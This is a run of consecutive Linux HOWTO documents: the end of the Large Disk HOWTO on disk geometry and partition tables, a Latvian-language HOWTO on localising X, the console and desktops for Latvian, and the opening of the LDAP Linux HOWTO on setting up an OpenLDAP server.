The HDIO_GETGEO ioctl returns the number of cylinders in a short. This means that if you have more than 65535 cylinders, the number is truncated, and (for a typical SCSI setup with 1 MiB cylinders) a 80 GiB disk may appear as a 16 GiB one. Once one recognizes what the problem is, it is easily avoided.

12.1 IDE problems with 34+ GB disks

(Below a discussion of Linux kernel problems. BIOS problems and jumpers that clip capacity were discussed above.)

Drives larger than 33.8 GB will not work with kernels older than 2.2.14 / 2.3.21. The details are as follows. Suppose you bought a new IBM-DPTA-373420 disk with a capacity of 66835440 sectors (34.2 GB). Pre-2.3.21 kernels will tell you that the size is 769*16*63 = 775152 sectors (0.4 GB), which is a bit disappointing. And giving command line parameters hdc=4160,255,63 doesn't help at all - these are just ignored. What happens? The routine idedisk_setup() retrieves the geometry reported by the disk (which is 16383/16/63) and overwrites what the user specified on the command line, so that the user data is used only for the BIOS geometry. The routine current_capacity() or idedisk_capacity() recomputes the cylinder number as 66835440/(16*63)=66305, but since this is stored in a short, it becomes 769. Since lba_capacity_is_ok() destroyed id->cyls, every following call to it will return false, so that the disk capacity becomes 769*16*63. For several kernels a patch is available. A patch for 2.0.38 can be found at ftp.kernel.org. A patch for 2.2.12 can be found at www.uwsg.indiana.edu (some editing may be required to get rid of the html markup). The 2.2.14 kernels do support these disks. In the 2.3.* kernel series, there is support for these disks since 2.3.21. One can also `solve' the problem in hardware by using a jumper to clip the size to 33.8 GB. In many cases a BIOS upgrade will be required if one wants to boot from the disk.


Large Disk HOWTO: Extended and logical partitions

 Next Previous Contents

13. Extended and logical partitions

Above, we saw the structure of the MBR (sector 0): boot loader code followed by 4 partition table entries of 16 bytes each, followed by an AA55 signature. Partition table entries of type 5 or F or 85 (hex) have a special significance: they describe extended partitions: blobs of space that are further partitioned into logical partitions. (So, an extended partition is only a box, it cannot be used itself, one uses the logical partitions inside.) Only the location of the first sector of an extended partition is important. This first sector contains a partition table with four entries: one a logical partition, one an extended partition, and two unused. In this way one gets a chain of partition table sectors, scattered over the disk, where the first one describes three primary partitions and the extended partition, and each following partition table sector describes one logical partition and the location of the next partition table sector.

It is important to understand this: When people do something stupid while partitioning a disk, they want to know: Is my data still there? And the answer is usually: Yes. But if logical partitions were created then the partition table sectors describing them are written at the beginning of these logical partitions, and data that was there before is lost.

The program sfdisk will show the full chain. E.g.,

# sfdisk -l -x /dev/hda

Disk /dev/hda: 16 heads, 63 sectors, 33483 cylinders
Units = cylinders of 516096 bytes, blocks of 1024 bytes, counting from 0

   Device Boot Start     End   #cyls   #blocks   Id  System
/dev/hda1          0+    101     102-    51376+  83  Linux
/dev/hda2        102    2133    2032   1024128   83  Linux
/dev/hda3       2134   33482   31349  15799896    5  Extended
/dev/hda4          0       -       0         0    0  Empty

/dev/hda5       2134+   6197    4064-  2048224+  83  Linux
    -           6198   10261    4064   2048256    5  Extended
    -           2134    2133       0         0    0  Empty
    -           2134    2133       0         0    0  Empty

/dev/hda6       6198+  10261    4064-  2048224+  83  Linux
    -          10262   16357    6096   3072384    5  Extended
    -           6198    6197       0         0    0  Empty
    -           6198    6197       0         0    0  Empty
...
/dev/hda10     30581+  33482    2902-  1462576+  83  Linux
    -          30581   30580       0         0    0  Empty
    -          30581   30580       0         0    0  Empty
    -          30581   30580       0         0    0  Empty

#

It is possible to construct bad partition tables. Many kernels get into a loop if some extended partition points back to itself or to an earlier partition in the chain. It is possible to have two extended partitions in one of these partition table sectors so that the partition table chain forks. (This can happen for example with an fdisk that does not recognize each of 5, F, 85 as an extended partition, and creates a 5 next to an F.) No standard fdisk type program can handle such situations, and some handwork is required to repair them. The Linux kernel will accept a fork at the outermost level. That is, you can have two chains of logical partitions. Sometimes this is useful - for example, one can use type 5 and be seen by DOS, and the other type 85, invisible for DOS, so that DOS FDISK will not crash because of logical partitions past cylinder 1024. Usually one needs sfdisk to create such a setup.


Large Disk HOWTO: Problem solving

 Next Previous Contents

14. Problem solving

Many people think they have problems, while in fact nothing is wrong. Or, they think that the problems they have are due to disk geometry, while in fact disk geometry has nothing to do with the matter. All of the above may have sounded complicated, but disk geometry handling is extremely easy: do nothing at all, and all is fine; or perhaps give LILO the keyword lba32 if it doesn't get past `LI' when booting. Watch the kernel boot messages, and remember: the more you fiddle with geometries (specifying heads and cylinders to LILO and fdisk and on the kernel command line) the less likely it is that things will work. Roughly speaking, all is fine by default.

And remember: nowhere in Linux is disk geometry used, so no problem you have while running Linux can be caused by disk geometry. Indeed, disk geometry is used only by LILO and by fdisk. So, if LILO fails to boot the kernel, that may be a geometry problem. If different operating systems do not understand the partition table, that may be a geometry problem. Nothing else. In particular, if mount doesnt seem to work, never worry about disk geometry - the problem is elsewhere.

14.1 Problem: My IDE disk gets a bad geometry when I boot from SCSI.

It is quite possible that a disk gets the wrong geometry. The Linux kernel asks the BIOS about hd0 and hd1 (the BIOS drives numbered 80H and 81H) and assumes that this data is for hda and hdb. But on a system that boots from SCSI, the first two disks may well be SCSI disks, and thus it may happen that the fifth disk, which is the first IDE disk hda, gets assigned a geometry belonging to sda. Such things are easily solved by giving boot parameters `hda=C,H,S' for the appropriate numbers C, H and S, either at boot time or in /etc/lilo.conf.

14.2 Nonproblem: Identical disks have different geometry?

`I have two identical 10 GB IBM disks. However, fdisk gives different sizes for them. Look:

# fdisk -l /dev/hdb
Disk /dev/hdb: 255 heads, 63 sectors, 1232 cylinders
Units = cylinders of 16065 * 512 bytes

   Device Boot  Start      End   Blocks   Id  System
/dev/hdb1           1     1232  9896008+  83  Linux native
# fdisk -l /dev/hdd
Disk /dev/hdd: 16 heads, 63 sectors, 19650 cylinders
Units = cylinders of 1008 * 512 bytes

   Device Boot  Start      End   Blocks   Id  System
/dev/hdd1           1    19650  9903568+  83  Linux native
How come?'

What is happening here? Well, first of all these drives really are 10gig: hdb has size 255*63*1232*512 = 10133544960, and hdd has size 16*63*19650*512 = 10141286400, so, nothing is wrong and the kernel sees both as 10.1 GB. Why the difference in size? That is because the kernel gets data for the first two IDE disks from the BIOS, and the BIOS has remapped hdb to have 255 heads (and 16*19650/255=1232 cylinders). The rounding down here costs almost 8 MB.

If you would like to remap hdd in the same way, give the kernel boot parameters `hdd=1232,255,63'.

14.3 Nonproblem: fdisk sees much more room than df?

fdisk will tell you how many blocks there are on the disk. If you make a filesystem on the disk, say with mke2fs, then this filesystem needs some space for bookkeeping - typically something like 4% of the filesystem size, more if you ask for a lot of inodes during mke2fs. For example:

# sfdisk -s /dev/hda9
4095976
# mke2fs -i 1024 /dev/hda9
mke2fs 1.12, 9-Jul-98 for EXT2 FS 0.5b, 95/08/09
...
204798 blocks (5.00%) reserved for the super user
...
# mount /dev/hda9 /somewhere
# df /somewhere
Filesystem         1024-blocks  Used Available Capacity Mounted on
/dev/hda9            3574475      13  3369664      0%   /mnt
# df -i /somewhere
Filesystem           Inodes   IUsed   IFree  %IUsed Mounted on
/dev/hda9            4096000      11 4095989     0%  /mnt
#
We have a partition with 4095976 blocks, make an ext2 filesystem on it, mount it somewhere and find that it only has 3574475 blocks - 521501 blocks (12%) was lost to inodes and other bookkeeping. Note that the difference between the total 3574475 and the 3369664 available to the user are the 13 blocks in use plus the 204798 blocks reserved for root. This latter number can be changed by tune2fs. This `-i 1024' is only reasonable for news spools and the like, with lots and lots of small files. The default would be:
# mke2fs /dev/hda9
# mount /dev/hda9 /somewhere
# df /somewhere
Filesystem         1024-blocks  Used Available Capacity Mounted on
/dev/hda9            3958475      13  3753664      0%   /mnt
# df -i /somewhere
Filesystem           Inodes   IUsed   IFree  %IUsed Mounted on
/dev/hda9            1024000      11 1023989     0%  /mnt
#
Now only 137501 blocks (3.3%) are used for inodes, so that we have 384 MB more than before. (Apparently, each inode takes 128 bytes.) On the other hand, this filesystem can have at most 1024000 files (more than enough), against 4096000 (too much) earlier.


Latvian HOWTO

Artis Trops mailto:hornet@navigators.lv

v1.4, 2002-03-05. gada martâ

Ðî dokumenta mçríis ir kopîgiem spçkiem iegût latvieðu valodas atbalstu operâciju sistçmâ Linux. Note to English readers: The aim of this document is to describe GNU/Linux localization issues specific for Latvian users.

1. Ievadam

2. Xlogi (Xwindow)

  • 2.1 Nepiecieðamie faili
  • 2.2 Liekam visu savâs vietâs
  • 2.3 Fonti

3. Konsole

  • 3.1 Nepiecieðamie faili
  • 3.2 Liekam visu savâs vietâs
  • 3.3 Latvieðu valoda kâ noklusçtâ konsoles valoda
  • 3.4 Daþu programmu pielâgoðana darbam latvieðu valodâ

4. Netscape

  • 4.1 Nepiecieðamie faili
  • 4.2 Liekam visu savâs vietâs

5. Lokâles

6. GNOME & KDE

  • 6.1 GNOME
  • 6.2 KDE

7. Pçdçjie vârdi un kopçðanas tiesîbas


Latvian HOWTO: Ievadam

 Next Previous Contents

1. Ievadam

Katrs Linux lietotâjs Latvijâ ir saskâries ar sekojoðu problçmu: mûsu iecienîtajai operâciju sistçmai nav latvieðu valodas.. Arî informâcijas par to, kâ Linuxam iemâcît runât ar mums latviski, ir vai nu ïoti maz, vai arî, ja kaut ko tomçr izdodas sameklçt, tâ ir lietotâjiem grûti saprotama un ar latviskoðanas realizçðanu sâkas problçmas. Ðo problçmu tad arî kopâ centîsimies risinât.

Ðis Latvian-HOWTO ir tapis sadarbîbâ ar LL10NT (Latvian Localization Team), tâpçc, ja rodas kâdas problçmas vai jautâjumi sakarâ ar Linux latviskoðanas lietâm, griezieties pçc palîdzîbas LL10NT forumâ vai arî IRCa kanâlâ #ll10nt. Savu iespçju robeþâs centîsimies rast risinâjumu. Protams, visi mîïi aicinâti arî piebiedroties ll10nt komandai un darboties tâ, lai latvieðu valodas atbalstu Linux operâciju sistçmâ padarîtu vçl plaðâku un labâku. Gribçtu vçl piebilst un atgâdinât, ka ðis Latvian-HOWTO ne tuvu nav perfekts un pabeigts, tâpçc vçlos, lai jûs ziòotu, ja atrodiet ðeit kâdu kïûdu. Neturiet arî sveci zem pûra, ja ziniet, kâ latviskoðanu Linuxâ varçtu padarît vçl efektîvâku un çrtâku.

Tâ kâ mums visiem ne seviðíi patîk lasît garus un apnicîgus tekstus par tçmu, kuru var pateikt pâris vârdos, pie tam visu vienmçr gribas âtri un uzreiz, centîðos ðo Latvian-HOWTO saglabât iespçjami îsâku un skaidrâku ar mçríi, lai jûs maksimâli îsâ laikâ varçtu strâdât Linuxâ, lietojot latvieðu valodu. Saturu mçìinâðu izklâstît viegli saprotamâ valodâ, lai pçc iespçjas padarîtu visai sareþìîto latviskoðanas procedûru vienkârðâku un saprotamâku katram.

Pats gan es dotajâ brîdî lietoju Linux Mandrake. Ceru, ka ðeit aprakstîtie padomi strâdâs bez problçmâm arî citos distributîvos. Katrâ ziòâ par savu latviskoðanas pieredzi (labu vai sliktu) darbâ ar citâm Linux distribûcijâm ziòojiet.

Tâtad - ieteikumi, labojumi un papildinâjumi lapni gaidîti... un uz priekðu!

Bet.. kâ Andris Maiziks aka Andzha ir teicis - neaizmirstiet, ka datori ir eksperimentâla zinâtne..


Latvian HOWTO: Xlogi (Xwindow)

 Next Previous Contents

2. Xlogi (Xwindow)

2.1 Nepiecieðamie faili

Lai realizçtu latvieðu valodas atbalstu X11 vidç, jums bûs nepiecieðami sekojoðie faili:

  • lv (ja vçlaties rakstît ar labo Alt taustiòu)
  • lva (ja vçlaties rakstît ar apastrofa ' taustiòu)
  • lvt (ja vçlaties rakstît ar tildes ~ taustiòu)
  • Compose

Tie atrodami ðeit: X-files.tar.gz

2.2 Liekam visu savâs vietâs

Tagad, kad vajadzîgie faili ir iegûti, nepiecieðams tos salikt îstajâs vietâs.

Piezîme: Ja lietojat kâdu no pçdçjâm XFree86 versijâm (sâkot ar 4.1.0), jûs jau varat latviski rakstît bez jebkâdas papildus failu modificçðanas, specifisko rakstzîmju iegûðanai izmanotojot labo Alt - lai ðo iespçju aktivizçtu, izpildâm komandu setxkbdmap lv.

Izvçlamies sev pieòemamâko speicâlâs rakstzîmes iegûðanas veidu un kopçjam attiecîgo failu norâdîtajâ direktorijâ, piemçram:

# cp lv /usr/X11R6/lib/X11/xkb/symbols/

Domâju, ka bûtu lieki atgâdinât, ka, lai veiktu nepiecieðamâs darbîbas, ir jâbût root tiesîbâm.

Lai aktivizçtu mçmâ taustiòa pareizu darbîbu, attiecîgajâ vietâ kopçjam failu Compose. Taèu ðeit ir viena nianse. Ja savu Linuxu esiet instalçjuði izmantojot anglisko saskarni, tad visticamâk, ka lokâles ir pçc noklusçjuma ieslçgtas iso8859-1 reþîmâ. Taèu, ja instalçjât tâ, ka instalâcijas process notika latvieðu valodâ, kâ to darîju es, tad lokâles pçc noklusçjuma jau pareizi ir ieslçgtas iso8859-13 reþîmâ. Izejot no jûsu konkrçtâs situâcijas tad arî tur kopçjam failu Compose. Ja ne nieka no augstâkminçtâ nesapratât, tad labâk iekopçjiet Compose abos lokâles variantos - droðs paliek nedroðs - un gan jau nekas slikts nenotiks.. ;-)

# cp Compose /usr/X11R6/lib/X11/locale/iso8859-1/
# cp Compose /usr/X11R6/lib/X11/locale/iso8859-13/

Kad tas ir izdarîts, izpildâm jau iepriekðminçto komandu setxkbmap lv (lv vietâ var bût arî lva vai lvt - atkarîbâ no jûsu izvçles) un mçìinâm kaut ko uzrakstît latviski.

Ja tests ir izdevies, tad jûs noteikti vçlçsieties saglabât latvieðu valodu Xwindow sistçmâ un padarît to pieejamu un izmantojamu arî pçc datora vai Xu pârstartçðanas, tâpçc papildus ir jâmodificç /etc/X11/XF86Config-4 fails (ja lietojam XFree86 4.x.x) tâ, lai iegûtu Option "XkbLayout" "lv". Piemçrs:

Section "InputDevice"
    Identifier  "Keyboard1"
    Driver      "Keyboard"
    Option      "AutoRepeat" "250 30"
    Option      "XkbRules"   "xfree86"
    Option      "XkbModel"   "pc105"
    Option      "XkbLayout"  "lv"
EndSection

Piezîme: Ja lietojat XFree86 3.x.x versiju, tâ kâ primâro izmantos failu /etc/X11/XF86Config. Piemçrs:

Section "Keyboard"
    Protocol        "Standard"
    XkbKeycodes     "xfree86"
    XkbTypes        "default"
    XkbCompat       "default"
    XkbSymbols      "us(pc105)"
    XkbGeometry     "pc"
    XkbRules        "xfree86"
    XkbModel        "pc105"
    XkbLayout       "lv"
EndSection

2.3 Fonti

No ðî brîþa latvieðu teksta ievades sistçmai vajadzçtu strâdât, taèu, lai gaidîtais rezultâts tiktu atbilstoði attçlots arî uz ekrâna, ir nepiecieðami fonti, kuri atbalsta iso8859-13 kodçjumu vai Unicode. Linuxâ iespçjams arî strâdât ar True Type fontiem. Detalizçtâka informâcija rodama Font-HOWTO vai vçl konkrçtâk TrueType Fonts with XFree86 4.0.x mini-HOWTO. Pagaidâm ðajâ dokumentâ fontu instalâcija aprakstîta netiks, jo uz doto brîdi tas ir ârpus Latvian-HOWTO uzdevuniem un mçríiem. Iespçjams, ka nâkotnç tiks iekïauts arî îsais eksperimentâlais kurss fontu instalçðanâ.


Latvian HOWTO: Konsole

 Next Previous Contents

3. Konsole

Pirms pievçrðamies konsoles latviskoðanai, gribçtu piezimçt, ka konsole nav terminâlis X logos.. Konsoli iegûstam, piespieþot Ctrl+Alt+Fn, kur Fn - kâds no funkciju taustiòiem.

3.1 Nepiecieðamie faili

Ïoti iespçjams, ka visi minimâli nepiecieðamie faili konsoles latviskoðanai jau atrodas jûsu datorâ (/usr/lib/kbd/keymaps/i386/qwerty/lv-latin7.kmap.gz un /usr/lib/kbd/consolefonts/tlat7.psf.gz vai lat7-14.psf.gz) un neko papildus kopçt nav nepiecieðams. Ja jums to nav, tad noderçs ðî failu pakotne:

  • konsole-files.tar.gz

3.2 Liekam visu savâs vietâs

Pieòemot, ka izmantojam piedâvâto failu pakotni, izpildâm:

# cp lv-latin7.kmap.gz /usr/lib/kbd/keymaps/i386/qwerty/
# cp lv.psf.gz /usr/lib/kbd/consolefonts/

Tagad jaunâs iespçjas ir nepiecieðams aktivizçt, tâpçc izpildâm:

$ consolechars -f lv -m straight-to-font
$ loadkeys lv-latin7

Piezîme: Tie, kuri izmanto jau esoðos failus, pie consolechars nomaina lv uz savu fontu, tâ vietâ rakstot, teiksim, lat7-14. Taèu es tomçr ieteiktu lietot fontu lv, jo tas labâk izskatâs tâdâs programmâs, kâ mc un citâs.

Tagad varam mçìinât veikt nelielu pârbaudi, lai redzçtu, vai latvieðu valoda strâdâ konsoles reþîmâ. Specifiskos latvieðu valodas simbolus iegûstam, lietojot AltGr (labo Alt taustiòu) kopâ ar nepiecieðamo rakstu zîmi.

Lai katru reizi nebûtu jâizpilda consolechars un loadkeys, varam izveidot augstâkminçto komandu saturoðu miniskriptu lvkonsole un pçc tam, lai to palaiþot viegli atrastu:

# cp lvkonsole /usr/local/bin

3.3 Latvieðu valoda kâ noklusçtâ konsoles valoda

Uzmanîbu! Zemâkaprakstîtais variants nestrâdâ perfekti, kaut arî îstais fonts un tastatûras karte ielâdçjas pareizi, specifiskâs rakstzîmes neattçlojas pareizi. Nepiecieðama --acm straight-to-font opcijas aktivizçðana. Ja kâds ir panâcis nevainojamu latvieðu rakstîbas darbîbu konsolç arî pçc datora pârstartçðanas, ziòojiet.

Bûtu ïoti neçrti katru reizi, kad vien mums ir nepiecieðama latvieðu valoda konsoles reþîmâ, izpildît lvkonsole. Lai konsolç varçtu vienmçr rakstît latvieðu valodâ, nepiecieðams izdarît nelielas izmaiòas sistçmas konfigurâcijas failos.

Tâpçc rediìçjam failu /etc/sysconfig/i18n tâ, lai sanâk

SYSFONT=lv

Un attiecîgi failu /etc/sysconfig/keyboard, lai iegûtu, ka

KEYTABLE=lv-latin7

Rezultâtâ latvieðu valodas atbalsts arî konsolç ir realizçts.

3.4 Daþu programmu pielâgoðana darbam latvieðu valodâ

Ðajâ nodaïâ tiks sniegta informâcija, kâ jâizmaina daþu lietojumprogrammu konfigurâcijas faili, lai tâs darbotos pienâcîgi latvieðu valodas reþîmâ. Piezîme - pats gan neesmu lielu daïu zemâkaprakstîto darbîbu veicis, tâ kâ... :-> ja darbojas vai nedarbojas, vai jums ir padomâ vçl kâdas lietderîgas programmu konfigurâcijas failu izmaiòas, kuras bûtu nepiecieðams veikt labâkas latvieðu valodas darbîbas nodroðinâðanai konsoles reþîmâ, rakstiet man.

bash:

Ja /etc/inputrc faila uzstâdîjumi atðíiras no zemâkparâdîtajiem, bûtu lietderîgi pievietot savam ~/.inputrc failam:

set meta-flag on
set convert-meta off
set input-meta on
set output-meta on
Jebkurâ citâ gadîjumâ tam nebûs nozîmes.

elm:

Pievienojiet sekojoðo savam ~/.elm/elmrc failam:

charset = iso-8859-13
displaycharset = iso-8859-13
textencoding = 8bit
Daþâm elm versijâm tas var nestrâdât. Varat iegût daïçju MIME atbalstu iekð elm, ja lietosiet metamail.

joe:

Palaidiet komandu kâ

joe -asis
vai pievienojiet savam ~/.joerc failam:
-asis

metamail:

Iestâdiet sekojoðo mainîgo:

MM_CHARSET=ISO-8859-13

nn:

Uzstâdiet savâ ~/.nn/init failâ:

set data-bits 8

pine:

Setup -> Config Atrodiet character-set un ierakstiet iso-8859-13.

Tas ir teorçtiski pareizs risinâjums, taèu pagaidâm var radît liekas problçmas jûsu korespondentiem, tâpçc var mçìinât iso-8859-13 vietâ rakstît windows-1257.

rlogin:

Palaidiet komandu lîdzîgi kâ

rlogin -8 foo.bar.lv

sendmail:

Pievienojiet (vai atkomentçjiet) savâ /etc/sendmail.cf failâ:

O SevenBitInput=False
O EightBitMode=pass8
O DefaultCharSet=iso-8859-13

mc:

Options -> Display bits... Ieslçdziet Full 8 bits output un Full 8 bits input. Neaizmirstiet saglabât jauno konfigurâciju.

telnet:

Ievietojiet ðâda veida rindu savâ ~/.telnetrc failâ katrai adresei, kurai vçlaties pieslçgties, lietojot telnet:

<hostname> set outbinary true
Piemçrs:
localhost set outbinary true
foo.bar.lv set outbinary true

tin:

Pievienojiet sekojoðo savam ~/.tin/headers failam:

Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-13
Content-Transfer-Encoding: 8bit


Latvian HOWTO: Netscape

 Next Previous Contents

4. Netscape

Parasti problçmas, ar kâdâm lietotâjiem nâkas saskarties, izmantojot Netscape lielâ informâcijas tîmekïa pârlûkprogrammu, ir sekojoðâs - vai nu lapâs, kur vajadzçtu parâdîties tekstam latvieðu valodâ, ir redzamas daudzas jautâjumu zîmes, vai arî, ja iepriekðminçto problçmu kaut kâ ir izdevies novçrst, tad latvieðu burtu vietâ ir redzamas íeburiem lîdzîgas rakstu zîmes. Ðîs nepilnîbas tad kopîgiem spçkiem centîsimies novçrst. Protams, lai gûtu cerçto rezultâtu, arî bez latvieðu fontiem neiztikt. Ja nevçlaties mocîties ar Netscape latviskoðanu, variet lietot Mozilla, Galeon vai citus pârlûkus, kuriem latvieðu valodas pareiza attçloðana nevajadzçtu sagâdât problçmas.

4.1 Nepiecieðamie faili

Lai panâktu vçlamo rezultâtu Netscape latviskoðanas sakarâ, nepiecieðams mums bûs ðis skripts:

  • NC_baltic

4.2 Liekam visu savâs vietâs

Lai varçtu ar skripta palîdzîbu veikt nepiecieðamâs izmaiòas citos failos, ir nepiecieðamas root tiesîbas. Pietam, lai varçtu NC_baltic skriptu "iedarbinât", vajag to pataisît palaiþamu:

$ chmod a+x NC_baltic

Kad tas ir izdarîts, palaiþam arî paðu skriptu:

# ./NC_baltic

Visur nekautrçjoties atbildam ar "yes"...

No ðî brîþa programmai Netscape vajadzçtu darboties kâ nâkas. Iestâdâm Character set kâ Baltic (Windows 1257) un visam vajadzçtu strâdât.


Latvian HOWTO: Lokâles

 Next Previous Contents

5. Lokâles

Tâtad, lai tiktu pareizi attçloti laika, datuma, valûtas u.c. formâti un lai varçtu sekmîgi noritçt latvisko elementu ievieðana kâ GNOME & KDE, tâ arî atseviðíu citu programmu lietotâja saskarnç, nepiecieðams izveidot latvieðu lokâles. Iespçjams, ka visas lokâles jums jau ir saliktas tâ, kâ vajag, ja lietojat Mandrake vai lîdzîgu distribûciju. Latvieðu lokâïu faili atrodas /usr/share/locale/lv. Par to, vai ir iestâdîtas latvieðu lokâles, pârliecinamies, izpildot komandu locale vai echo $LANG. Vai latvieðu lokâles ir pieejamas sistçmai, pârliecinamies, izpildot locale -a|grep lv. Ja latvieðu lokâles jums nav, uzstâdiet tâs, vislabâk izmantojot jûsu distribûcijas piedâvâto pakotni. Ja tas nav iespçjams, nepiecieðams bûs instalçt sekojoðo pakotni (nepârbaudîts):

  • locales-lv.tar.gz

Dekompresçjam to, izpildot

# tar -zxvf locales-lv.tar.gz -C /usr/share/locale/

Lai sistçma zinâtu, ka ar ðo brîdi lietojamas ir latvieðu lokâles, rediìçjam savu .bash_profile failu (pieòemot, ka lietotâ èaula ir bash) un tam beigâs pievienojam

LANG=lv
LANGUAGE=lv
LC_ALL=lv
export LANG LANGUAGE LC_ALL

Visai sistçmai lokâles tiek definçtas RedHat un lîdzîgiem /etc/sysconfig/i18n, bet Debian lietotâjiem /etc/environment failâ.


Latvian HOWTO: GNOME & KDE

 Next Previous Contents

6. GNOME & KDE

6.1 GNOME

Tâ kâ viens no LL10NT projekta virzieniem ir arî GNOMEs po moduïu tulkoðana, tâpçc ðajâ sadaïâ tiks sniegta informâcija, kas ir jâdara ar po moduïiem, lai arî GTK+ lietotâja saskarne bûtu latvieðu valodâ. Protams, pagaidâm vçl ðeit latvieðu valodas atbalsts nav realizçts pilnîbâ. Tâpçc ðî nu ir tâ reize, kur arî jûs varat sniegt atbalstu ar savu lîdzdalîbu po moduïu tulkoðanâ - darbs bûs.

Vçl tikai nepiecieðami arî paði po moduïi, kuri iegûstami LL10NT Komandas GNOMEs statusa sekcijâ.

Liekam visu savâs vietâs

Lai po moduïi darbotos tâ, kâ mçs vçlamies redzçt tos darbojamies, nepiecieðams tos pârveidot par mo moduïiem:

$ msgfmt kautkâds.po -o kautkâds.mo

Tagad, kâ jau solîts, liekam nu jau jauniegûtos mo moduïus savâs vietâs:

# cp *.mo /usr/share/locale/lv/LC_MESSAGES/

6.2 KDE

Arî darbs pie KDE tulkoðanas rit pilnâ sparâ. Interesenti, kas vçlas lîdzdarboties sîkâku informâciju var uzzinât no Andzhas.

Îsa instrukcija problçmu novçrðanai

Bieþi vien atrisinâjums ir jaunâkâs kde-i18n-lv pakotnes uzlikðana, ar kuru tad arî tiek realizçts K Desktop Environment latviskais atbalsts.

Ja, rakstot specifiskâs latvieðu rakstzîmes KDE aplikâcijâs, to vietâ redzat jautâjuma zîmes, sava .bash_profile faila galâ pievienojam

export LANG=lv_LV.ISO-8859-13

vai arî sistçmas mçroga izmaiòu panâkðanai attiecîgi nomainâm mainîgâ LANG vçrtîbu failâ /etc/sysconfig/i18n.


Latvian HOWTO: Pçdçjie vârdi un kopçðanas tiesîbas

 Next Previous Contents

7. Pçdçjie vârdi un kopçðanas tiesîbas

Copyright © 2001-2002 by Artis Trops.

Latvian-HOWTO jaunâkâ versija atrodama: http://linux.ma-1.lv/ll10nt

Doto dokumenta versiju drîkst mainît un izplatît jebkurâ veidâ, jebkuram mçríim ar noteikumu, ka ðis paragrâfs paliek nemainîts. Autors nenes nekâdu atbildîbu par ðajâ dokumentâ sniegto informâciju. Lietojiet un izmantojiet to uz savu risku un pçc saviem ieskatiem. Izmantojamâ programmatûra pieder to likumîgajiem îpaðniekiem.

Sveiciens visai LL10NT komandai un cilvçkiem ap to ;-)

Linux keeps on rolin' babe.........


LDAP Linux HOWTO

Luiz Ernesto Pinheiro Malere, malere@yahoo.com

v1.05, 06 July 2001

Information about installing, configuring, running and maintaining a LDAP (Lightweight Directory Access Protocol) Server on a Linux machine is presented on this document. There are also details about how to create LDAP databases, how to update and delete information on the database, how to implement roaming access and how to use Netscape Address Book. This document is mostly based on the University of Michigan LDAP information pages and on the OpenLDAP Administrator's Guide.

1. Introduction

  • 1.1 What's LDAP ?
  • 1.2 What's a Directory Service ?
  • 1.3 How does LDAP work ?
  • 1.4 LDAP backends, objects and attributes
  • 1.5 New Versions of this Document
  • 1.6 Opinions and Sugestions
  • 1.7 History of Releases
  • 1.8 Acknowledgments
  • 1.9 Copyright and Disclaimer

2. Installing the LDAP Server

  • 2.1 Pre-Requirements
  • 2.2 Downloading the package
  • 2.3 Unpacking the server
  • 2.4 Configuring the software
  • 2.5 Building the server

3. Configuring the LDAP Server

  • 3.1 Configuration File Format
  • 3.2 Global Directives
  • 3.3 General Backend Options
  • 3.4 General Database Directives
  • 3.5 LDBM Backend-Specific Directives
  • 3.6 Other Backend Databases
  • 3.7 Access Control Examples
  • 3.8 Configuration File Example

4. Running the LDAP Server

  • 4.1 Command Line Options
  • 4.2 Starting the LDAP server
  • 4.3 Killing the LDAP server

5. Database Creation and Maintenance

  • 5.1 Creating a Database online
  • 5.2 Creating a Database offline
  • 5.3 More on the LDIF format
  • 5.4 The ldapsearch, ldapdelete and ldapmodify utilities

6. Additional Information and Features

  • 6.1 Roaming Access
  • 6.2 Netscape Address Book
  • 6.3 LDAP Migration Tools
  • 6.4 Authentication using LDAP
  • 6.5 Graphical LDAP tools
  • 6.6 Logs

7. References

  • 7.1 URLs
  • 7.2 Books
  • 7.3 RFCs


LDAP Linux HOWTO: Introduction

 Next Previous Contents

1. Introduction

The main purpose of this document is to set up and use a LDAP Directory Server on your Linux machine.You will learn how to install, configure, run and maintain the LDAP server. After you also learn how you can store, retrieve and update information on your Directory using the LDAP clients and utilities. The daemon for the LDAP directory server is called slapd and it runs on many different UNIX platforms.

There is another daemon that cares for replication between LDAP servers. It's called slurpd and for the moment you don't need to worry about it. In this document you run a slapd which provides directory service for your local domain only, without replication, so without slurpd.

This is a simple configuration for the server, good for starting but easy to upgrade to another configuration later if you want. The information presented on this document represents a nice initialization on using the LDAP protocol. Possibly after reading this document you would feel encouraged to expand the capabilities of your server and even write your own clients, using the already available C, C++ and Java Development Kits.

1.1 What's LDAP ?

LDAP is a client-server protocol for accessing a directory service. It was initially used as a front-end to X.500, but can also be used with stand- alone and other kinds of directory servers.

1.2 What's a Directory Service ?

A directory is similar to a database, but tends to contain more descriptive, attribute-based information. The information in a directory is generally read much more often than it is written. As a consequence, directories don't usually implement the complicated transaction or roll-back schemes that regular databases use for doing high-volume complex updates. Directory updates are typically simple all-or-nothing changes, if they are allowed at all.

Directories are tuned to give quick-response to high-volume lookup or search operations. They may have the ability to replicate information widely in order to increase availability and reliability, while reducing response time. When directory information is replicated, temporary inconsistencies between the replicas may be OK, as long as they get in sync eventually.

There are many different ways to provide a directory service. Different methods allow different kinds of information to be stored in the directory, place different requirements on how that information can be referenced, queried and updated, how it is protected from unauthorized access, etc. Some directory services are local, providing service to a restricted context (e.g., the finger service on a single machine). Other services are global, providing service to a much broader context.

1.3 How does LDAP work ?

LDAP directory service is based on a client-server model. One or more LDAP servers contain the data making up the LDAP directory tree or LDAP backend database. An LDAP client connects to an LDAP server and asks it a question. The server responds with the answer, or with a pointer to where the client can get more information (typically, another LDAP server). No matter which LDAP server a client connects to, it sees the same view of the directory; a name presented to one LDAP server references the same entry it would at another LDAP server. This is an important feature of a global directory service, like LDAP.

1.4 LDAP backends, objects and attributes

Slapd comes with three different backend databases you can choose from. They are LDBM, a high-performance disk-based database; SHELL, a database interface to arbitrary UNIX commands or shell scripts; and PASSWD, a simple password file database.

In this document I assume that you choose the LDBM database.

The LDBM database works by assigning a compact four-byte unique identifier to each entry in the database. It uses this identifier to refer to entries in indexes. The database consists of one main index file, called id2entry, which maps from an entry's unique identifier (EID) to a text representation of the entry itself. Other index files are maintained as well.

To import and export directory information between LDAP-based directory servers , or to describe a set of changes which are to be applied to a directory, the file format known as LDIF, for LDAP Data Interchange Format, is typically used. An LDIF file stores information in object-oriented hierarchies of entries. The LDAP software package you're going to get comes with an utility to convert LDIF files to the LDBM format

A common LDIF file looks like this:

dn: o=TUDelft, c=NL
o: TUDelft
objectclass: organization
